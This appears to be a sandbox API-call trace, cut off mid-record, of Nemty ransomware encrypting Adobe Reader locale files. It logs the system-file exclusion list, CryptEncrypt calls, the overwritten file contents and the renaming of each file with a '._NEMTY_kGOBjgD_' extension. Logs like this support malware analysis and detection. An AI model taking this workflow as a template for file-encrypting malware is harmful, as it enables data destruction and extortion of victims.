lstrcmpiW (lpString1="RdLang32.NLD", lpString2="rsa") returned -1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="NTDETECT.COM") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="ntldr") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="MSDOS.SYS") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="IO.SYS") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="boot.ini") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="boot.ini") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="ntuser.dat") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="desktop.ini") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="CONFIG.SYS") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="RECYCLER") returned -1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="bootmgr") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="programdata") returned 1 [0180.581] lstrcmpiW (lpString1="RdLang32.NLD", lpString2="appdata") returned 1 [0180.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.582] Sleep (dwMilliseconds=0x5) [0180.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f4871b0, dwHighDateTime=0x1d561e8)) [0180.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f4871b0, dwHighDateTime=0x1d561e8)) [0180.583] GetLastError () returned 0x0 [0180.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.583] GetLastError () returned 0x0 [0180.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.584] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.584] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.584] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.584] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="HGFOZwYsoYFG6vhx05JqvtpD57VRo/0+3XLmjUrpaVTMrZ4sn0dBEopV5UsDfqWg\r\nr0jv4sSgvcYOUz2HhrIJNSbne+pJSLIUOQaNXhOJru3wqYmlqzhEzwsG6NRQ/eZ/\r\no8rggQAN8XvZs2kfdRZUZgzXkD+yFcWqX20ObgU/QzxLAcN48eZ75Am9CYOWE3kG\r\nnobvNbpAlFMCmmvDrPek7rT7+rANd9m8oTmfMahAypguj1zvDGTqZ6BwoEHjcQdg\r\nI91AB5fWex/y8erpzw6or/zk5NR26ehh43vJOmJle+zmqFBhCSUYDBpk5EgQ3SS+\r\nUS7yYPF+XTBHEqxpiW0tbQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.584] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\RdLang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\rdlang32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.587] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1399808) returned 1 [0180.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.587] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.587] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.596] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.596] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.596] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1399808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x155c00 [0180.596] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.598] CloseHandle (hObject=0x2e8) returned 1 [0180.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.598] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\RdLang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\rdlang32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\RdLang32.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\rdlang32.nld._nemty_kgobjgd_")) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.599] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.NLD", cAlternateFileName="READOU~1.NLD")) returned 1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2=".") returned 1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="..") returned 1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="...") returned 1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="windows") returned -1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="rsa") returned -1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="NTDETECT.COM") returned 1 [0180.599] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="ntldr") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="MSDOS.SYS") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="IO.SYS") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="boot.ini") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="boot.ini") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="ntuser.dat") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="desktop.ini") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="CONFIG.SYS") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="RECYCLER") returned -1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="bootmgr") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="programdata") returned 1 [0180.600] lstrcmpiW (lpString1="ReadOutLoud.NLD", lpString2="appdata") returned 1 [0180.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NLD", lpUsedDefaultChar=0x0) returned 15 [0180.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NLD", lpUsedDefaultChar=0x0) returned 15 [0180.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NLD", lpUsedDefaultChar=0x0) returned 15 [0180.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NLD", lpUsedDefaultChar=0x0) returned 15 [0180.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.601] Sleep (dwMilliseconds=0x5) [0180.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f4d3470, dwHighDateTime=0x1d561e8)) [0180.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f4d3470, dwHighDateTime=0x1d561e8)) [0180.615] GetLastError () returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.615] GetLastError () returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.615] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.615] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.615] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.615] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="QWfUs2tQ/cbfx5fBiPbFtX9gFnxRTZeQSTdJLPdb4MnLBVYB/B00wJztKbrkV+fO\r\neJ778gZSCLAFXmVolqWzecVosl816SVJGyKcFzCVdRfVe+PE4ZIL/Oi+5N4bGu/E\r\n/xQKid8t0Xs6k7eWgYKSr2x9uzb1brvOlFcHcQPfTZ4BfKtzPG7l0Q/CyUQzdD4V\r\nIVrf4ZIQt2bv24wb4+gLOA1EIKSgeSH2SdLh1Ya0EGndHLeRXgI74U4TIlxZFVva\r\nfIESv/xaYPyjmooqyAvvkJvsyVpvPXN52nsmprOISc/8cX5+vuPzp5vP/HKQUYwn\r\nsQY0X3bNLtrFT/3GCHicbw==\r\n", pcchString=0x653e5dc) returned 1 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.615] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\ReadOutLoud.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\readoutloud.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.616] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0180.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0180.616] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.616] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0180.618] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.618] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0180.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.619] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0180.619] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.619] CloseHandle (hObject=0x2e8) returned 1 [0180.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.619] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\ReadOutLoud.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\readoutloud.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\ReadOutLoud.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\readoutloud.nld._nemty_kgobjgd_")) returned 1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 